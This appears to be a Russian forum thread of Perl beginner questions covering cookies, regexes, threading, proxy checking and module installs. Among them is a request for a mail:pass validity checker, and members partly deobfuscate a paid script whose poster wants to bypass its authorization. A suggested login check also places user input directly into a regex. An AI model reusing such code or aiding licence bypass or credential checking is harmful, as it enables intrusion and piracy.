Просмотр полной версии : [Perl] Новичкам: задаем вопросы
Страницы :
1
[
2]
3
4
5
6
7
C!klodoL
02.12.2007, 19:03
попробуй передавать Refer
Пыхпых Инъекцыч
02.12.2007, 19:52
Спасибо, камрад - я что-то совсем реферы из виду упустил. Щас пашет )
Есть например сайт site.com
Я посылаю post запрос на сайт, сайт в ответ выдает кукисы и страницу.
Как используя кукисы выданные сайтом сделать запрос к внутренней странице?
groundhog
04.12.2007, 15:24
А что тебе мешает передать хидер Cookie на внутреннюю страницу?
C!klodoL
04.12.2007, 15:31
тут наверно вопрос в том как словить кукисы,
use LWP::UserAgent;
use HTTP::Cookies;
my $useragent = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new;
$useragent->cookie_jar($cookies);
my $request = $useragent->post('http://site/login.php',
{username => $username,
password => $password,
})->as_string;
и далее $useragent->post, $useragent->get любые запросы с куками
И ещё, помогите с регуляркой чтобы выдрать хэш из такого:
<form method="post" id="iRespect" name="iRespect" action="test.php">
<table class="editor" style="margin-left:0px" border="0" cellspacing="0">
<input type="hidden" id="subm" name="subm" value="124ced269d3aeddf3472d9f18a3eedc6" />
<input type="hidden" id="act" name="act" value="change_resp" />
C!klodoL
04.12.2007, 17:12
my ($xew) = $html =~ /value="([a-z0-9]{32})"/;
demonoid
04.12.2007, 19:29
И ещё, помогите с регуляркой чтобы
+ поиск всех вхождений образца!.
#!perl
use strict;
use warnings;
my $res = ' <form method="post" id="iRespect" name="iRespect" action="test.php">
<table class="editor" style="margin-left:0px" border="0" cellspacing="0">
<input type="hidden" id="subm" name="subm" value="124ced269d3aeddf3472d9f18a3eedc6" />
<input type="hidden" id="subm" name="subm" value="e153ad7d20bb170d22a15589c72d984d" />
<input type="hidden" id="subm" name="subm" value="8ac5925741f72d5d4acca9b740218198" />
<input type="hidden" id="act" name="act" value="change_resp" />';
my @hash = $res=~/value="([a-f0-9]{32})"/g;
while ( <@hash>)
{
print $_,"\n";
}
constanta
05.12.2007, 17:12
Народ , такой вопрос. ( сразу говорю что ногами не бейте сильно, сам знаю чо ботинок полный).
Пытаюсь написать прогу, что бы она в директории искала во всех файлах определенное слово. Но чето пока не могу понять в чем проблема. Не ищет тварюка чего то.
open (FILE2," +> 1.txt ");
opendir (DIR,"MY" );
open (LIST,">> final.txt") ;
@dir = readdir (DIR);
$a= undef ;
for ($a= 2; $a <= $#dir ; $a++ ) {
chomp($b=$dir[$a]);
print FILE2 "$b\n" ;
}
while (<FILE2>) {
$search=$_ ;
open (SEARCH ,"<$search") ;
while (<SEARCH>) {
$c=$_ ;
if ($c =~ m/User/i) {
print LIST "$c ----- $search \n" ;
}
}
}
close LIST ;
close FILE2 ;
close SEARCH ;
closedir DIR ;
<> ;
Пыхпых Инъекцыч
08.12.2007, 01:52
Вот есть, например, такой кусок кода:
my $var = $ARGV[0];
print $var;
Как при вводе экранировать спецсимволы?
Например, при передаче $ARGV[0] строки, содержащей символ "&" вылазит ошибка "строка_до_символа & " "не является внутренней или внешней командой, исполняемой программой или пакетным файлом."
Т.е, например, при запуске "myscript.pl http://url.com/index.php?id1=1&id2=2" символ & воспринимается как амперсанд - как превратить его в строчный символ?
C!klodoL
08.12.2007, 02:43
да никак, тут в консоли дело, попробуй взять в одинарные кавычки ссылку
Digimortal
08.12.2007, 03:05
да никак, тут в консоли дело, попробуй взять в одинарные кавычки ссылку
а лучше в двойные.. )
demonoid
08.12.2007, 03:45
ммм
$ cat t.pl
#!/usr/bin/perl -w
use strict;
use warnings;
my $s = shift;
print $s,"\n";
$ perl -w t.pl http://url.com/index.php?id1=1\&id2=2
http://url.com/index.php?id1=1&id2=2
мммм ? :D
Digimortal
09.12.2007, 01:27
в винде так не получится... )
а зачем 2 раза -w пишешь вдобавок к тому, что прагму warnings заюзал? )
demonoid
09.12.2007, 17:09
в винде так не получится... )
а зачем 2 раза -w пишешь вдобавок к тому, что прагму warnings заюзал? )
тупанул с варнингом) решил повыпендриваться
#пс поставил убунту :) изучаю
В неком файле на серваке заданы пассы и логины через разделитель. Есть форма, где поля логин и пасс.
проверяем введенные логин и пасс.
для начала написал только проверку логина. ниже приведен код.
Проблема в том, что if ($arr[$m]->[$n]==$obtained_login)
выполняется всегда, если первый символ логина - буква. Если цифра - не выполняется.
Объясните, пожалуйста, почему так происходит.
<html>
<head>
<title>xz</title>
</head>
<body>
<form action="lab20.pl" method="post">
LOGIN <input type="text" name="login"><p>
БЗДЫДЫЩ: <input type="text" name="pass"><p>
<input type="submit" value="check">
</form>
</body>
</html>
#!/usr/bin/perl -w
use CGI;
print "Content-type:text/html;charset=windows-1251\n\n";
$q = new CGI;
$obtained_login = $q->param('login');
$obtained_password = $q->param('pass');
open(DATA, "users.txt");
$i=0;
foreach $line(<DATA>)
{
$j=0;
@temp=split (/;/,$line);
while ($j<=$#temp)
{
$arr[$i]->[$j]=$temp[$j];
$j++;
}
$i++;
}
close(DATA);
for($m=0; $m<$i; $m++)
{
for ($n=0;$n<$j; $n++)
{
if ($arr[$m]->[$n]==$obtained_login)
{
print "good";
}
else { print "bad";}
}
}
C!klodoL
13.12.2007, 05:02
Код:
if ($arr[$m]->[$n]==$obtained_login)
выполняется всегда, если первый символ логина - буква. Если цифра - не выполняется.
я не проверял, но по моему дело в чисельном сравнении ==, попробуй строкове eq
я не проверял, но по моему дело в чисельном сравнении ==, попробуй строкове eq
C!klodoL, ты прав, спасибо, очень оперативно!
проблема решена, всем спасибо.
а как бы его так аккуратно дописать, что б и пароль проверял?
я дописал, но сам баг через 5 минут нашел.
C!klodoL
13.12.2007, 06:21
мне было проще переписать занова, надеюсь это то что ты имел ввиду
#!/usr/bin/perl -w
use strict;
use CGI qw(:standard);
my $cgi = CGI->new();
my $login = $cgi->param('login');
my $pass = $cgi->param('pass');
print $cgi->header(-charset => 'UTF-8');
if ($login && $pass) {
readdata();
} else {
print $cgi->start_html('Fuck you hacker!'),
$cgi->start_center,
$cgi->h1('Fuck you hacker!'),
$cgi->end_html;
}
sub readdata {
open(my $data, '<users.txt');
while(<$data>) {
if (/$login;$pass/) {
print $cgi->start_html('GOOD!'),
$cgi->start_center,
$cgi->h1('GOOD!'),
$cgi->end_html;
close $data;
exit
}
}
print $cgi->start_html('BAD!'),
$cgi->start_center,
$cgi->h1('BAD!'),
$cgi->end_html;
}
результат испытаний;
http://localhost/cgi-bin/lol.pl?login=root&pass=432 пишет BAD;
http://localhost/cgi-bin/lol.pl?login=root&pass=pass пишет GOOD
если вызвать без параметров то - F*ck you hacker!
Помогите..
Я немогу установить Mail::POP3Client
У меня есть сама библиотека а не ссылка для ее скачки и установки.... Помогите..
C!klodoL
18.12.2007, 11:48
консоль; ppm, ppm> install Mail::POP3Client
А куда сами файлы кидать???
там 2 папки:
cgi-shl
htdocs
в каждой папка qdpop а в ней куда *.pl и др файлы.
C!klodoL
18.12.2007, 12:32
ты на хостинг чтоли модуль хочешь поставить? на хостинг может поставить только сам хостер, попробуй просто положить модуль в одной папке со скриптом его использующим, сами файлы в cgi-shl
Не на локалхост хочу поставить....
У меня активперл стоит и все.
Могу еще денвер поставить...
C!klodoL
18.12.2007, 12:44
ыыы, у тебя скрипт для вэб? если для вэб то нужен сервер. cgi-shl, htdocs где вообще эти папки находятся?
это папки в библиотеке.
т.е в архиве. Я скачал архив с этой библой и там были эти файлы.
C!klodoL
18.12.2007, 13:02
жесть! чтобы поставить библиотеку пишем в консоли ppm, у нас появится ppm>, пишем install Mail::POP3Client, готово. файлы из архива модуля никуда класть не нужно.
проверить установку можно так perl -e "use Mail::POP3Client" если не напишет ничего в ответ то модуль успешно установлен, но зачем нам модуль если мы ни... не знаем?
Я ввожу он пишет,что ненайден.
Мне он нужен для работы скрипта.
Скрипт чекает майлы на валидность (mail:pass)
А быз данного модуля отказывается работать.
Tarigonik
18.12.2007, 18:37
Не пойму в чем проблема, модуль можно установить даже через GUI. Пуск > ActivePerl > Perl Package Manager, выбираешь в общем списке нужный модуль и устанавливаешь.
Ну или как вариант через CPAN (в консоли): cpan; install Mail::POP3Client
Так и ненаучился... написал свою прогу для чека и живу спокойно. всем спосибо.
сорри за флуд
это ты на низкоууровневых сокетах написал, да?
Есть диапазон страниц, нужно считать контент каждой и закинуть данные в файлик. Есть функция для считывания и скидывания контента. Как реализовать многопоточность, чтобы скрипт сам делил между потоками диапазон страниц и затем обрабатывал их?
Мануалы почитал, но толком не разобрался.
C!klodoL
25.12.2007, 15:05
#!/usr/bin/perl
use threads;
use threads::shared;
my $num : shared; #расшариваем переменную
$thr = 2;
for(0..$thr) {
$trl[$_] = threads->create(\&get);
}
for(0..$thr) {
$trl[$_]->join;
}
sub get
{
while (1) {
{ lock($num); #блокируем переменную перед увеличением значения
$num++; }
print "$num\n";
#ну и тут собственно делать запрос
}
}
залил ман про нити в перл, там есть про расшаривание данных http://slil.ru/25284163
Это понял, а диапазон от n до n1 как разбить на x потоков?
C!klodoL
25.12.2007, 15:17
оно само будет делится между потоками, каждый поток будет делать +1 к номеру страницы, $thr = 2; - количество потоков
вот в качестве примера простенький парсер имен файлов на слил.ру
#!/usr/bin/perl
use threads;
use threads::shared;
use LWP::Simple;
my $num : shared;
$thr = 2;
$num = 25284163;
for(0..$thr) {
$trl[$_] = threads->create(\&gets);
}
for(0..$thr) {
$trl[$_]->join;
}
sub gets
{
while (1) {
{ lock($num);
$num++; }
$cont = get("http://slil.ru/$num");
($content) = $cont =~ /href="\/.+\/.+\/(.+)"/;
print $content."\n";
}
}
5p4x2kn3t
04.01.2008, 13:37
Вопрос: Допустим, у меня в текстовой переменной - имя класса. Как обратиться к самому классу по этой переменной?
C!klodoL
04.01.2008, 15:11
Вопрос: Допустим, у меня в текстовой переменной - имя класса. Как обратиться к самому классу по этой переменной?
самое простое.. eval("use $mod"); и тд
Есть код
use strict;
use HTTP::Request::Common;
use LWP::UserAgent;
use HTTP::Cookies;
...............................
my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new('GET', 'https://mysite.com');
my $res2 = $ua->request($req);
$res2 = $res2->as_string;
Перл пишет в ответ
500 Can't locate object method "new" via package "LWP::Protocol::https::Socket"
Пытаюсь поставить OpenSSL, пишет
Can't use string ("SSL.pm") as a HASH ref while "strict refs" in use at C:/Perl/
lib/ExtUtils/Install.pm line 996.
Что делать?
Digimortal
05.01.2008, 23:28
>> Что делать?
установить модуль Crypt::SSLeay
satana8920
08.01.2008, 17:28
вот чекер прокси
sub testProxy
{
$env="http://nntime.com/textenv.pl";
#$env="http://samair.ru/cgi/textenv.pl"
$s=getPage($env,"http://".$_[0]);
($adr,$port)=split(/:/,$_[0]);
if($s!~/REMOTE_ADDR=$adr/) {return 0}; #bad or transparent proxy
if($s=~/HTTP_VIA/) {return 0;} #anonymous or transparent proxy
if($s=~/HTTP_X_FORWARDED_FOR/) {return 0;} #anonymous or transparent proxy
return 1; #eleet proxy
}
sub getPage
{
use LWP::UserAgent;
$ua=LWP::UserAgent->new;
#$ua->proxy(http=>$_[1]);
$ua->timeout(10);
$ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
$req=HTTP::Request->new(GET=>$_[0]);
$res=$ua->request($req);
if($res->is_success)
{
#print($res->content);
return $res->content;
}
else
{
#print "Error!\n";
}
}
sub getPage а мне нужно что б он чекел соксы 4 и 5 и https и разбрасывал по отдельным файлам все что начекал да еще и многопоточный был
как я могу это сотворить еси можно плизз готовое решение я не силен в перле только регулярки написать могу и больше ничего :confused:
vorishka
13.01.2008, 02:50
Ночи доброй! Думаю что перл =/ Но не уверен. Сам перл полностью не знаю.
Не усовершенствуете скриптик, до того что бы определённому нику не слалось "/ctcp"
massctcp {
var %i = 1
while (%i <= $nick(#,0)) {
set %nick $nick(#,%i)
/timer $+ %i 1 %i /ctcp %nick /msg $me version
unset %nick
inc %i
} } }
satana8920
15.01.2008, 22:46
Народ ваще как вот сокс организовать? например по джабберу
dinar_007
16.01.2008, 00:04
Ночи доброй! Думаю что перл =/ Но не уверен. Сам перл полностью не знаю.
Не усовершенствуете скриптик, до того что бы определённому нику не слалось "/ctcp"
massctcp {
var %i = 1
while (%i <= $nick(#,0)) {
set %nick $nick(#,%i)
/timer $+ %i 1 %i /ctcp %nick /msg $me version
unset %nick
inc %i
} } }
Это не перл... Это скорее скриптовый язык какой-нибудь проги, наверное Mirc...
В Mirc скриптах разбираюсь очень-очень плохо... Но думаю (наподобии Си), что нужно условие добавить в цикл:
if (%niсk = нужный ник) {
вот тут надо написать что не надо слать
}
Лучше-бы в тему языка Си запостил... Что-то схожее у Mirc скриптов с ним есть... while есть, это цикл...
:)
Какие права нужно выставлять файлам pl, cgi?
Когда ты запускаешь в браузере как cgi скрипт он может ругаться на такие права =\
Есть страница, получаю содержимое в переменную, в ней есть инфа например
<a href="text1" >
<a href="text2" >
Как занести вытащить text1, text2...textN из страницы, регуляркой вытащить одно значение я могу, а как все вытащить?
есть скрипт на perl, но он закодирован байткодом. подскажите какой прогой можно его раскодировать? или дайте ссылку на нужный материал
Kaimi, а while(){} не работает уже?)
есть скрипт на perl, но он закодирован байткодом. подскажите какой прогой можно его раскодировать? или дайте ссылку на нужный материал
upx -d script.pl ?)))
это вопрос или ссылка на материал? , если можно с комментариями
Что значит - закодирован байт-кодом? Код типа
#!/usr/bin/perl
$str = pack ("H*", "7072696e7420225465737420537472696e675c6e223b");
eval $str;
exit 0;
Если так, то вместо eval вставить print. Вот и вся расшифровка "байткода"
demonoid
30.01.2008, 14:42
2 Kaimi
#!perl -w
use strict;
my $res='<a href="text1" >
<a href="text2" >
<a href="text3" >';
my @parse = $res=~/href="(\w+)" >/g;
foreach my $text ( @parse )
{
print $text."\n";
}
2 vitek10
есть скрипт на perl, но он закодирован байткодом. подскажите какой прогой можно его раскодировать? или дайте ссылку на нужный материал
сударь покажи сие творение народу.
нет проблем. вот один файл полностью
#!/usr/bin/perl -w
###########################################
#
# Script coded by Plamen Marinov
# Web Wap Studio
# http://www.webwapstudio.com
# Email - studio.com
#
###########################################
use CGI;
require "wws_lib.dat";
# Encoded By the WWS Perl Protector - http://www.webwapstudio.com/PerlProtector.html
$PERL_SOURCE_PROTECTOR=chr(117).chr(110).chr(100). chr(101).chr(102).chr(32).chr(36).chr(47).chr(59). chr(36).chr(97).chr(61).chr(60).chr(68).chr(65).ch r(84).chr(65).chr(62).chr(59).chr(36).chr(47).chr( 61).chr(34).chr(92).chr(110).chr(34).chr(59).chr(3 6).chr(97).chr(61).chr(126).chr(115).chr(47).chr(9 2).chr(110).chr(47).chr(47).chr(103).chr(59).chr(3 2).chr(101).chr(118).chr(97).chr(108).chr(40).chr( 112).chr(97).chr(99).chr(107).chr(40).chr(39).chr( 67).chr(42).chr(39).chr(44).chr(115).chr(112).chr( 108).chr(105).chr(116).chr(40).chr(39).chr(92).chr (68).chr(39).chr(44).chr(36).chr(97).chr(41).chr(4 1).chr(41).chr(59);eval($PERL_SOURCE_PROTECTOR);
__DATA__
101l118l97l108l40l108l48l108l48l48l48l48l49l49l49l 49l48l48l48l49l48l48l48l49l108l48l48l108l48l40l36l 87l69l66l87l65l80l83l84l85l68l73l79l95l67l79l77l41 l41l59l115l117l98l32l108l48l108l48l48l48l48l49l49l 49l49l48l48l48l49l48l48l48l49l108l48l48l108l48l123 l109l121l40l36l108l48l48l48l49l108l48l48l48l49l108 l108l108l49l48l48l41l61l64l95l59l36l108l48l48l48l4 9l108l48l48l48l49l108l108l108l49l48l48l61l126l115l 47l92l43l47l49l108l47l103l109l59l36l108l48l48l48l4 9l108l48l48l48l49l108l108l108l49l48l48l61l126l115l 47l92l45l47l50l108l47l103l109l59l36l108l48l48l48l4 9l108l48l48l48l49l108l108l108l49l48l48l61l126l115l 47l92l42l47l51l108l47l103l109l59l36l108l48l48l48l4 9l108l48l48l48l49l108l108l108l49l48l48l61l126l115l 47l92l40l47l52l108l47l103l109l59l36l108l48l48l48l4 9l108l48l48l48l49l108l108l108l49l48l48l61l126l115l 47l92l41l47l53l108l47l103l109l59l36l108l48l48l48l4 9l108l48l48l48l49l108l108l108l49l48l48l61l126l115l 47l92l47l47l54l108l47l103l109l59l36l108l48l48l48l4 9l108l48l48l48l49l108l108l108l49l48l48l61l126l115l 47l92l61l47l55l108l47l103l109l59l114l101l116l117l1 14l110l40l112l97l99l107l40l39l67l42l39l44l115l112l 108l105l116l40l39l108l39l44l36l108l48l48l48l49l108 l48l48l48l49l108l108l108l49l48l48l41l41l41l125
если кто сможет вскрыть, скину весь скрипт (буржуи продают за 500 зеленых)
P.S. необходимо обойти авторизацию
demonoid
30.01.2008, 15:24
Это не байт код :))
Скрипт обфускацирован
require "wws_lib.dat";
Для включения пакета в программу используется функция require()
wws_lib.dat непредаставлен.
$PERL_SOURCE_PROTECTOR=chr(117)......chr(41).chr(4 1).chr(41).chr(59);eval($PERL_SOURCE_PROTECTOR);
оч.просто текст выполняется через eval
print chr(117)......chr(41).chr(4 1).chr(41).chr(59);
получим
undef $/;$a=<DATA>;$/="\n";$a=~s/\n//g; eval(pack('C*',split('\D',$a)));
undef $/;$a=<DATA>;$/="\n";$a=~s/\n//g; print (pack('C*',split('\D',$a)));
__DATA__
.........
l48l48l48l49l108l108l108l49l48l48l41l41l41l125
получим следующие
eval(l0l0000111100010001l00l0($WEBWAPSTUDIO_COM)); sub l0l0000111100010001l00l0{my($l0001l0001lll100)=@_; $l0001l0001lll100=~s/\+/1l/gm;$l0001l0001lll100=~s/\-/2l/gm;$l0001l0001lll100=~s/\*/3l/gm;$l0001l0001lll100=~s/\(/4l/gm;$l0001l0001lll100=~s/\)/5l/gm;$l0001l0001lll100=~s/\//6l/gm;$l0001l0001lll100=~s/\=/7l/gm;return(pack('C*',split('l',$l0001l0001lll100))) }
и т.д. нету времени довести до ума , помогать надо в меру , дальше сам , нечего сложного базовые знание в помощь
# Encoded By the WWS Perl Protector - http://www.webwapstudio.com/PerlProtector.html ;)
В переменной $PERL_SOURCE_PROTECTOR вот такое
undef $/;
$a=<DATA>;
$/="\n";
$a=~s/\n//g;
eval(pack('C*',split('\D',$a)));
Заменив eval на print, расшифруем DATA
eval(l0l0000111100010001l00l0($WEBWAPSTUDIO_COM));
sub l0l0000111100010001l00l0{
my($l0001l0001lll100)=@_;
$l0001l0001lll100=~s/\+/1l/gm;
$l0001l0001lll100=~s/\-/2l/gm;
$l0001l0001lll100=~s/\*/3l/gm;
$l0001l0001lll100=~s/\(/4l/gm;
$l0001l0001lll100=~s/\)/5l/gm;
$l0001l0001lll100=~s/\//6l/gm;
$l0001l0001lll100=~s/\=/7l/gm;
return(pack('C*',split('l',$l0001l0001lll100)))
}
Остальное зависит от переменной $WEBWAPSTUDIO_COM, которая, видимо, хранится в wws_lib.dat
ЗЫ. demonoid опередил))
ясно, всем спасибо. просто этого файлика не было. видимо он лежит на том сервере, откуда продают скрипт, и он постоянно должен быть в коннекте. а без него все бесполезно
всем привет,у меня вопрос,скрипт записует в тхт файл строчки,но не больше 3,добабляю еще старые стирает и все равно три строки,незнаю почему помогите
sedoy_xxx
31.01.2008, 18:24
всем привет,у меня вопрос,скрипт записует в тхт файл строчки,но не больше 3,добабляю еще старые стирает и все равно три строки,незнаю почему помогите
ну три строчки потому что такая прога видимо а по поводу "все равно три строчки) так это ты при создании дескриптора файла указал перезаписывать его а не дописывать в конец файла.
а где это исправить?всмысле мне надо новые наверх и старые неудалять.я ниче неуказывала это будет админка для библиотеки
Вопрос по mod_perl
Есть такая штука...
Файо index.pl
...
получили параметр $mod
Если он пустой, то mod=vasya
require ".../$mod.pl";
...
print @data;
...
Каждый модуль ($mod.pl) заполняет @data своими данными
Короче под mod_perl @data всегда от модуля Vasya... Как такую конструкцию сделать правильно?
Вопрос... Можно ли декомпилировать код, защищенный ByteLoader 0.06?
Ребята не подскажите пожайлуста функцию для поиска ключа массива по значению.
В пхп я знаю есть функция
array_search("значение", $массив);
в перле есть функция поиска позиции символа в строке
index("hello","e") ;
но для массива она не подходит
искал в поисковиках та и не нашел не перебирать же загоняя в цикл каждое значение ключа это займет очень много вермя так как массив очень большой у меня получился
и ещё если можно посоветуйте пожайлуста сайт где описываются все функции в перле. заранее спасибо
astrologer
23.02.2008, 00:49
http://perldoc.perl.org/functions/map.html ?
Типо того?
#!/usr/bin/perl
@array = ('apple','asdas','123123d','sda2122d12','sad12d12e ','tomato','orange'); #Создаем массив
$size = @array; #Получаем размер массива
$str = 'tomato'; #Строку по которой ищем индекс
for ($i=0;$i<$size;$i++) {
if ($str eq $array[$i]) {
print "Index of $str : ".$i;
}
}
простенький вопрос . В общем я скачиваю хтмл страничку и выдергиваю все от тега до тега - все ок НО выдергивается только один раз , нужен цикл , как реализовать ?
КОД :
open(FIL,">sait.txt");
@loleg=$content =~m {<[<th>]+/?>(.+?)</?[\/th]+>};
print FIL @loleg;
простенький вопрос . В общем я скачиваю хтмл страничку и выдергиваю все от тега до тега - все ок НО выдергивается только один раз , нужен цикл , как реализовать ?
КОД :
open(FIL,">sait.txt");
@loleg=$content =~m {<[<th>]+/?>(.+?)</?[\/th]+>};
print FIL @loleg;
open(FIL,">sait.txt");
@loleg=$content =~m {<[<th>]+/?>(.+?)</?[\/th]+>}g;
my $i = 0;
foreach $line (@loleg) { $lolarr[$i] = $line; $i++;}
print FIL @loleg;
Digimortal
23.02.2008, 23:17
>> foreach $line (@loleg) { $lolarr[$i] = $line; $i++;}
можно поинтересоваться, в чем заключается глубинный смысл этой строки ? +)
>> foreach $line (@loleg) { $lolarr[$i] = $line; $i++;}
можно поинтересоваться, в чем заключается глубинный смысл этой строки ? +)
if($i == 1){$i = 1;}
ммм... узнаем длину массива... хз)
Digimortal
23.02.2008, 23:27
>> ммм... узнаем длину массива... хз)
и для этого ты создал еще один масив и переложил в него в цикле по одному все элемены массива, чтоб пересчитать их ??
/me ф шоке, честно говоря.. ))
з.ы. длина массива = scalar @massiv
+)
сори народ я протупил , нужно было параметр g (глобальный поиск) использовать .
@loleg=$content =~m {<[<th>]+/?>(.+?)</?[\/th]+>}g;
и еще один вопросик от меня . авторизируюсь на сайте xaker.ru , с авторизацией вроде все ок . Как получить урл на который меня перебрасывает после авторизации ?
http://paste.org.ru/?j8xlt9
Digimortal
24.02.2008, 16:17
$p01nt
>> $url = '?????????????';
>> $content = get $url;
вот это не понял к чему.. раз начал использовать io::socket, то юзай его и дальше..
получаешь ответ своего пост-запроса:
$sock->recv($content, 400);
и глядишь в $content нужные заголовки..
biophreak
24.02.2008, 23:18
$p01nt: Нужный тебе заголовок Location:
и опять я :) вообщем теперь вопрос по парсингу странички .
document.forms.auth.action="http://******.ru/au/authen.phtml?u=случайное значение &s=&i=0.0&a_cd=случайное значение";
надо вытащить u=случайное значение &s=&i=0.0&a_cd=случайное значение
получается только http://****.ru/au/authen.phtml?u=*****&s=&i=0.0&a_cd=******
юзаю @mass=$content =~ m/document.forms.auth.action="(\S+)"/i;
http://www.codenet.ru/webmast/perl/regex.php читать до просвятления
Если тебе нужно получить только строку:
u=СТРОКА&s=&i=0.0&a_cd=СТРОКА
То вот тебе скрипт:
#!/usr/bin/perl
use Socket;
$host="www_САЙТ_ru"; #Замени на нужный тебе (Я уже знаю, какой тебе нужен и уже его проверил ) ^^
$port="80";
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
$iaddr = inet_aton($host);
$paddr = sockaddr_in($port, $iaddr);
connect(SOCK, $paddr);
$header = "GET /index.phtml HTTP/1.0\r\n"
."User-Agent: Opera/10.84 (Windows NT 5.1; U; ru)\r\n"
."Host: $host\r\n"
."Referer: http://chicks-for-hackers.com/\r\n"
."Proxy-Connection: close\r\n"
."Content-type: application/x-www-form-urlencoded\r\n\r\n";
send (SOCK, $header, 0);
@data=<SOCK>;
close(SOCK);
$size = @data;
for ($i=0;$i<$size;$i++) {
$str=@data[$i];
if ($str =~m/document.forms.auth.action/) { #Обрабатываем ответ, выдираем строчки, которые соответсвуютт шаблону
@parse = split("[?]",$str); #Разделяем строчку, тоесть в первый элемент массива parse будет строка до вопросительного знака, а второй элемент после, то что нам нужно
$out = @parse_need[1]; #Тут наша строка + 4 символа - "; и два пробельных
$out = substr($out,0, length($out)-4); #Убираем 4 последних символа
print $out; #Выводим результат
exit; #Завершаем работу скрипта, т.к. другие строчки нас не интересуют
}
}
Digimortal
26.02.2008, 01:58
print $2 if $content =~ m|document.forms.auth.action="http://******.ru/au/authen.phtml?u=(.*?)&s=&i=0.0&a_cd=(.*?)";|;
Мде Digimortal
Привиди полный скрипт
+ Почему у тебя Вопросительный знак в голом виде?
Digimortal
26.02.2008, 02:37
Мде Digimortal
Привиди полный скрипт
$content = '
lalala
qwerty;
ssss
aaaa;
dddd;
xcvxcvxcvdocument.forms.auth.action="http://123.ru/au/authen.phtml?u=lalala&s=&i=0.0&a_cd=123abc";
lalala
hekihekiheki
';
print $1, ' ', $2 if $content =~ m|document\.forms\.auth\.action=\"http://123\.ru/au/authen\.phtml\?u=(.*?)\&s=\&i=0\.0\&a_cd=(.*?)\";|;
что лучше юзать, Lwp, сокеты или еще что-то?
если тебе нужно работать с http или ftp протколом то LWP наиболее удобен, для всего остального сокеты (либо соответствующие модули которых на cpan.org полно), а больше ничего и нет 8)
Digimortal
26.02.2008, 03:05
>> что лучше юзать, Lwp, сокеты или еще что-то?
вопрос некорректен.. lwp использует Socket, как и io::socket и т.п. модули..
и исчо один :)
http://paste.org.ru/?5uqzmz вот скрипт. Он авторизируеца на сайте xaker.ru и выводит текст от <title> до </title> ... выводит почему то титл главной страницы . в чем ошибка ? как исправить ?
как понять такое рег.выр?
$data=~m/^(\C{4})(\C*)/;
ну m это для обработки данных как однострочную символьную строку
а вот \C что такое?
как понять такое рег.выр?
$data=~m/^(\C{4})(\C*)/;
ну m это для обработки данных как однострочную символьную строку
а вот \C что такое?
http://wdh.suncloud.ru/perl04.htm
Гугл впадлу открыть ?
\c Один байт {4} - Количество
ZAMUT
и где по ссылке, что ты скинул есть описание \С ?
bul.666
спасиб большое
ZAMUT
и где по ссылке, что ты скинул есть описание \С ?
\C - Соответствует одному байту, даже при директиве use utf8.
$p01nt, невнятгый какой-то вопрос. Нужно-то что, чтобы выводился текст, расположенный внутри тэга TITLE?
...
print $1;
да , но выводиться ТЕКСТ НЕ ТОЙ СТРАНИЦЫ !!! я ӕто писал в первом посте по ӕтой теме
Digimortal
29.02.2008, 15:09
>> да , но выводиться ТЕКСТ НЕ ТОЙ СТРАНИЦЫ !!!
тебе надо получить кукисы при успешной аутентификации, и использовать их, при посылке запросов на сайт..
пример:
use LWP::UserAgent;
use HTTP::Cookies;
my $cookie_jar = HTTP::Cookies->new;
my $ua = LWP::UserAgent->new;
$ua->agent('Opera/9.00 (Windows NT 5.1; U; ru)');
$ua->cookie_jar($cookie_jar);
my $req = $ua->post("http://$site$path",
Content => ['login_name' => "$login",
'login_password' => "$pass",
'login' => 'submit' ]);
$cookie_jar->extract_cookies($req);
затем делаем запросы с полученными кукисами:
my $ub = LWP::UserAgent->new;
$ub->agent('Opera/9.00 (Windows NT 5.1; U; ru)');
$ub->cookie_jar($cookie_jar);
my $rew = $ub->get("http://$site$path"."index.php?do=pm&doaction=newpm&user=$num")->as_string;
http://paste.org.ru/?9x0knz - вот сам скрипт с которым я мучаюсь ... поправте плз
inlanger
01.03.2008, 00:23
Народ, в чём прикол? На моём сайте работал RSS парсер. Работал давно и исправно. Но несколько дней назад перестал. Стал выдавать:
XML error: not well-formed (invalid token) at line 3
В скрипте 3-я строка это session_start()
Ничего не пойму. Пытался и другой RSS фид ему скормить... Нифига не помогло. Вот сайт скрипт:
<?php
header( "Content-type: text/html; charset=UTF-8" );
error_reporting(E_ALL);
require_once( "./inc/Common.inc" );
$HTML_NEWS['text'] = "";
$HEADER = "Новости";
$type = isset($_REQUEST['type']) ? $_REQUEST['type'] : "menu";
$coli4 = isset($_REQUEST['num']) ? $_REQUEST['num'] : 3;
if($coli4 > 10)
$coli4 = 10;
if ($coli4 < 1)
$coli4 = 3;
switch (strtolower($type)){
case "world": default:
$file = "http://www.profootball.com.ua/rss/news.xml";
$HEADER .= " :: Новости мирового футбола";
break;
case "russian":
$file = "http://www.championat.ru/xml/rss_football_russiapl.xml";
$HEADER .= " :: Новости Российского футбола";
break;
case "ukraine": default:
$file = "http://news.yandex.ru/football.rss";
$HEADER .= " :: Новости футбола от yandex";
break;
case "menu":
$HEADER .= "";
break;
}
$HTML_NEWS['text'] .= <<< EOS
<div class="subtitle">
<b>Новости</b><br/>
</div>
<div class="text">
На этой странице находятся самые свежие футбольные новости. <br/>
</div>
<div class="text">
EOS;
if ($type=="menu")
{
$HTML_NEWS['text'] .= "<div class=\"subtitle\">Выберите категорию новостей</div><div class=\"text\">
<a href=?type=world&num=3>Новости мирового футбола</a><br>
<a href=?type=ya&num=3>Новости футбола от yandex</a><br>
<a href=?type=russian&num=3>Новости Российского футбола</a>";
}
else
{
$rss_channel = array();
$currently_writing = "";
$main = "";
$item_counter = 0;
function startElement($parser, $name, $attrs) {
global $rss_channel, $currently_writing, $main;
switch($name) {
case "RSS":
case "RDF:RDF":
case "ITEMS":
$currently_writing = "";
break;
case "CHANNEL":
$main = "CHANNEL";
break;
case "IMAGE":
$main = "IMAGE";
$rss_channel["IMAGE"] = array();
break;
case "ITEM":
$main = "ITEMS";
break;
default:
$currently_writing = $name;
break;
}
}
function endElement($parser, $name) {
global $rss_channel, $currently_writing, $item_counter;
$currently_writing = "";
if ($name == "ITEM") {
$item_counter++;
}
}
function characterData($parser, $data) {
global $rss_channel, $currently_writing, $main, $item_counter;
if ($currently_writing != "") {
switch($main) {
case "CHANNEL":
if (isset($rss_channel[$currently_writing])) {
$rss_channel[$currently_writing] .= $data;
} else {
